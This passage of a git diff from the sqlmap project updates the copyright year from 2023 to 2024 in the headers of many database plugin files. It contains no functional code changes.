a/plugins/dbms/mckoi/takeover.py b/plugins/dbms/mckoi/takeover.py index cbc55ae11d5..ae103c5fc60 100644 --- a/plugins/dbms/mckoi/takeover.py +++ b/plugins/dbms/mckoi/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mimersql/__init__.py b/plugins/dbms/mimersql/__init__.py index fbf38d9c977..21e170306cb 100644 --- a/plugins/dbms/mimersql/__init__.py +++ b/plugins/dbms/mimersql/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mimersql/connector.py b/plugins/dbms/mimersql/connector.py index 4307f5b697e..c63a6475d05 100644 --- a/plugins/dbms/mimersql/connector.py +++ b/plugins/dbms/mimersql/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mimersql/enumeration.py b/plugins/dbms/mimersql/enumeration.py index 57a9f22ebb8..82543c1fbc9 100644 --- a/plugins/dbms/mimersql/enumeration.py +++ b/plugins/dbms/mimersql/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mimersql/filesystem.py b/plugins/dbms/mimersql/filesystem.py index bf4d5c5bac7..7f3df980642 100644 --- a/plugins/dbms/mimersql/filesystem.py +++ b/plugins/dbms/mimersql/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mimersql/fingerprint.py b/plugins/dbms/mimersql/fingerprint.py index 8052ee02273..5aa5cfe563a 100644 --- a/plugins/dbms/mimersql/fingerprint.py +++ b/plugins/dbms/mimersql/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mimersql/syntax.py b/plugins/dbms/mimersql/syntax.py index 2d63b897ed2..0da50bf1ca0 100644 --- a/plugins/dbms/mimersql/syntax.py +++ b/plugins/dbms/mimersql/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mimersql/takeover.py b/plugins/dbms/mimersql/takeover.py index 497745a0c7e..f5c7166377d 100644 --- a/plugins/dbms/mimersql/takeover.py +++ b/plugins/dbms/mimersql/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/monetdb/__init__.py b/plugins/dbms/monetdb/__init__.py index ef29a313fd3..d8d669cae58 100644 --- a/plugins/dbms/monetdb/__init__.py +++ b/plugins/dbms/monetdb/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/monetdb/connector.py b/plugins/dbms/monetdb/connector.py index 7fb635e878c..73a6fdad026 100644 --- a/plugins/dbms/monetdb/connector.py +++ b/plugins/dbms/monetdb/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/monetdb/enumeration.py b/plugins/dbms/monetdb/enumeration.py index 10b528c7deb..7bd559725d1 100644 --- a/plugins/dbms/monetdb/enumeration.py +++ b/plugins/dbms/monetdb/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/monetdb/filesystem.py b/plugins/dbms/monetdb/filesystem.py index bf4d5c5bac7..7f3df980642 100644 --- a/plugins/dbms/monetdb/filesystem.py +++ b/plugins/dbms/monetdb/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/monetdb/fingerprint.py b/plugins/dbms/monetdb/fingerprint.py index bda2504ebaa..dc6f190b57d 100644 --- a/plugins/dbms/monetdb/fingerprint.py +++ b/plugins/dbms/monetdb/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/monetdb/syntax.py b/plugins/dbms/monetdb/syntax.py index 1fc6130fca6..fa73f520330 100644 --- a/plugins/dbms/monetdb/syntax.py +++ b/plugins/dbms/monetdb/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/monetdb/takeover.py b/plugins/dbms/monetdb/takeover.py index f38bd0c89d5..2da776b0fea 100644 --- a/plugins/dbms/monetdb/takeover.py +++ b/plugins/dbms/monetdb/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/__init__.py b/plugins/dbms/mssqlserver/__init__.py index 28e2dc4af02..7072cb36e2b 100644 --- a/plugins/dbms/mssqlserver/__init__.py +++ b/plugins/dbms/mssqlserver/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/connector.py b/plugins/dbms/mssqlserver/connector.py index 92b37287d98..e16e3f9f745 100644 --- a/plugins/dbms/mssqlserver/connector.py +++ b/plugins/dbms/mssqlserver/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/enumeration.py b/plugins/dbms/mssqlserver/enumeration.py index e5407ceec9e..b27be56d911 100644 --- a/plugins/dbms/mssqlserver/enumeration.py +++ b/plugins/dbms/mssqlserver/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/filesystem.py b/plugins/dbms/mssqlserver/filesystem.py index 0b8aa4fba61..86ddcc550a3 100644 --- a/plugins/dbms/mssqlserver/filesystem.py +++ b/plugins/dbms/mssqlserver/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/fingerprint.py b/plugins/dbms/mssqlserver/fingerprint.py index 41658cdae16..1e8e492b8fa 100644 --- a/plugins/dbms/mssqlserver/fingerprint.py +++ b/plugins/dbms/mssqlserver/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/syntax.py b/plugins/dbms/mssqlserver/syntax.py index dad14e4a489..05703e36d65 100644 --- a/plugins/dbms/mssqlserver/syntax.py +++ b/plugins/dbms/mssqlserver/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mssqlserver/takeover.py b/plugins/dbms/mssqlserver/takeover.py index 58cf875ada5..a54be3e57b3 100644 --- a/plugins/dbms/mssqlserver/takeover.py +++ b/plugins/dbms/mssqlserver/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/__init__.py b/plugins/dbms/mysql/__init__.py index 04a2bdabb1e..da409c39d0d 100644 --- a/plugins/dbms/mysql/__init__.py +++ b/plugins/dbms/mysql/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/connector.py b/plugins/dbms/mysql/connector.py index 41590b8d70a..e965bfe9971 100644 --- a/plugins/dbms/mysql/connector.py +++ b/plugins/dbms/mysql/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/enumeration.py b/plugins/dbms/mysql/enumeration.py index 8e9d81f7d7d..1a85e3a20e2 100644 --- a/plugins/dbms/mysql/enumeration.py +++ b/plugins/dbms/mysql/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/filesystem.py b/plugins/dbms/mysql/filesystem.py index e72cbcba3db..8ac38c2f74a 100644 --- a/plugins/dbms/mysql/filesystem.py +++ b/plugins/dbms/mysql/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/fingerprint.py b/plugins/dbms/mysql/fingerprint.py index 042bcf5a049..dbb7a0469ff 100644 --- a/plugins/dbms/mysql/fingerprint.py +++ b/plugins/dbms/mysql/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/syntax.py b/plugins/dbms/mysql/syntax.py index 57399752c62..6dfd9bf15f1 100644 --- a/plugins/dbms/mysql/syntax.py +++ b/plugins/dbms/mysql/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/mysql/takeover.py b/plugins/dbms/mysql/takeover.py index 31033cca4f0..4d01ec63a35 100644 --- a/plugins/dbms/mysql/takeover.py +++ b/plugins/dbms/mysql/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/__init__.py b/plugins/dbms/oracle/__init__.py index 292727d1d57..8af865943ec 100644 --- a/plugins/dbms/oracle/__init__.py +++ b/plugins/dbms/oracle/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/connector.py b/plugins/dbms/oracle/connector.py index 18a70076c0a..136f80ba81e 100644 --- a/plugins/dbms/oracle/connector.py +++ b/plugins/dbms/oracle/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/enumeration.py b/plugins/dbms/oracle/enumeration.py index 038fe84a71f..b2b25336c0b 100644 --- a/plugins/dbms/oracle/enumeration.py +++ b/plugins/dbms/oracle/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/filesystem.py b/plugins/dbms/oracle/filesystem.py index d0df7efac86..612a9cdc365 100644 --- a/plugins/dbms/oracle/filesystem.py +++ b/plugins/dbms/oracle/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/fingerprint.py b/plugins/dbms/oracle/fingerprint.py index 784460aafa7..a03ccc002ba 100644 --- a/plugins/dbms/oracle/fingerprint.py +++ b/plugins/dbms/oracle/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/syntax.py b/plugins/dbms/oracle/syntax.py index 789a59bce6a..41e14833385 100644 --- a/plugins/dbms/oracle/syntax.py +++ b/plugins/dbms/oracle/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/oracle/takeover.py b/plugins/dbms/oracle/takeover.py index 44aa5bfd94d..0abef2b4070 100644 --- a/plugins/dbms/oracle/takeover.py +++ b/plugins/dbms/oracle/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/__init__.py b/plugins/dbms/postgresql/__init__.py index b27b9463b5d..8af12d67fb0 100644 --- a/plugins/dbms/postgresql/__init__.py +++ b/plugins/dbms/postgresql/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/connector.py b/plugins/dbms/postgresql/connector.py index 15a2b48e358..4545fc8dfe7 100644 --- a/plugins/dbms/postgresql/connector.py +++ b/plugins/dbms/postgresql/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/enumeration.py b/plugins/dbms/postgresql/enumeration.py index f3ced41640b..8889f452bd4 100644 --- a/plugins/dbms/postgresql/enumeration.py +++ b/plugins/dbms/postgresql/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/filesystem.py b/plugins/dbms/postgresql/filesystem.py index 3f1e0eb364e..7186724ca5b 100644 --- a/plugins/dbms/postgresql/filesystem.py +++ b/plugins/dbms/postgresql/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index 6f8aa2cda2a..90745a1e2ad 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/syntax.py b/plugins/dbms/postgresql/syntax.py index face3ba0d64..fe523941102 100644 --- a/plugins/dbms/postgresql/syntax.py +++ b/plugins/dbms/postgresql/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/postgresql/takeover.py b/plugins/dbms/postgresql/takeover.py index 1fa684e4aa7..687a2fb63e6 100644 --- a/plugins/dbms/postgresql/takeover.py +++ b/plugins/dbms/postgresql/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/presto/__init__.py b/plugins/dbms/presto/__init__.py index 94c74be1bd1..9ca110f4b64 100644 --- a/plugins/dbms/presto/__init__.py +++ b/plugins/dbms/presto/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/presto/connector.py b/plugins/dbms/presto/connector.py index 48473ad0216..7241c002370 100644 --- a/plugins/dbms/presto/connector.py +++ b/plugins/dbms/presto/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/presto/enumeration.py b/plugins/dbms/presto/enumeration.py index 9dcf092f3bc..0bd2b5cdc98 100644 --- a/plugins/dbms/presto/enumeration.py +++ b/plugins/dbms/presto/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/presto/filesystem.py b/plugins/dbms/presto/filesystem.py index 67633823884..807e3110a49 100644 --- a/plugins/dbms/presto/filesystem.py +++ b/plugins/dbms/presto/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/presto/fingerprint.py b/plugins/dbms/presto/fingerprint.py index 4a531fedb92..5a3cc43a613 100644 --- a/plugins/dbms/presto/fingerprint.py +++ b/plugins/dbms/presto/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/presto/syntax.py b/plugins/dbms/presto/syntax.py index b6b6c633dc8..b995549f465 100644 --- a/plugins/dbms/presto/syntax.py +++ b/plugins/dbms/presto/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/presto/takeover.py b/plugins/dbms/presto/takeover.py index bc0758f42df..3626ff13118 100644 --- a/plugins/dbms/presto/takeover.py +++ b/plugins/dbms/presto/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/raima/__init__.py b/plugins/dbms/raima/__init__.py index 2843bbabc58..6df5c3cae66 100644 --- a/plugins/dbms/raima/__init__.py +++ b/plugins/dbms/raima/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/raima/connector.py b/plugins/dbms/raima/connector.py index a095cf8c624..ef10e583d4a 100644 --- a/plugins/dbms/raima/connector.py +++ b/plugins/dbms/raima/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/raima/enumeration.py b/plugins/dbms/raima/enumeration.py index 449dad43cdb..518e86b0654 100644 --- a/plugins/dbms/raima/enumeration.py +++ b/plugins/dbms/raima/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/raima/filesystem.py b/plugins/dbms/raima/filesystem.py index d537b09aca7..8587e9dfd8a 100644 --- a/plugins/dbms/raima/filesystem.py +++ b/plugins/dbms/raima/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/raima/fingerprint.py b/plugins/dbms/raima/fingerprint.py index 0ed21dbcd3b..a0cb06059d0 100644 --- a/plugins/dbms/raima/fingerprint.py +++ b/plugins/dbms/raima/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/raima/syntax.py b/plugins/dbms/raima/syntax.py index 27a7f0ddf58..e9514b006d7 100644 --- a/plugins/dbms/raima/syntax.py +++ b/plugins/dbms/raima/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/raima/takeover.py b/plugins/dbms/raima/takeover.py index e375ddb7967..b8463008b64 100644 --- a/plugins/dbms/raima/takeover.py +++ b/plugins/dbms/raima/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/__init__.py b/plugins/dbms/sqlite/__init__.py index 4695462c756..49aedbfb02a 100644 --- a/plugins/dbms/sqlite/__init__.py +++ b/plugins/dbms/sqlite/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/connector.py b/plugins/dbms/sqlite/connector.py index 7ec752f7d3b..a28b6fed369 100644 --- a/plugins/dbms/sqlite/connector.py +++ b/plugins/dbms/sqlite/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/enumeration.py b/plugins/dbms/sqlite/enumeration.py index b5a9176748a..b063a2680d0 100644 --- a/plugins/dbms/sqlite/enumeration.py +++ b/plugins/dbms/sqlite/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/filesystem.py b/plugins/dbms/sqlite/filesystem.py index 3bbb5ef8350..fddb6425766 100644 --- a/plugins/dbms/sqlite/filesystem.py +++ b/plugins/dbms/sqlite/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/fingerprint.py b/plugins/dbms/sqlite/fingerprint.py index b57e788d0f6..5f32b4f8edf 100644 --- a/plugins/dbms/sqlite/fingerprint.py +++ b/plugins/dbms/sqlite/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/syntax.py b/plugins/dbms/sqlite/syntax.py index 7e6f4046e6c..de0eaabcf59 100644 --- a/plugins/dbms/sqlite/syntax.py +++ b/plugins/dbms/sqlite/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sqlite/takeover.py b/plugins/dbms/sqlite/takeover.py index 3b96a5c0f4e..d0954d96050 100644 --- a/plugins/dbms/sqlite/takeover.py +++ b/plugins/dbms/sqlite/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/__init__.py b/plugins/dbms/sybase/__init__.py index dee9b5c9533..05e2d6b03c8 100644 --- a/plugins/dbms/sybase/__init__.py +++ b/plugins/dbms/sybase/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/connector.py b/plugins/dbms/sybase/connector.py index 1514d32e28e..3403d694fd0 100644 --- a/plugins/dbms/sybase/connector.py +++ b/plugins/dbms/sybase/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/) +Copyright (c) 2006-2024 sqlmap developers (https://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/sybase/enumeration.py b/plugins/dbms/sybase/enumeration.py index 9f254c97727..1d229300c5f 100644 --- a/plugins/dbms/sybase/enumeration.py +++ b/plugins/dbms/sybase/enumeration.py @@ -1,7 +1,7 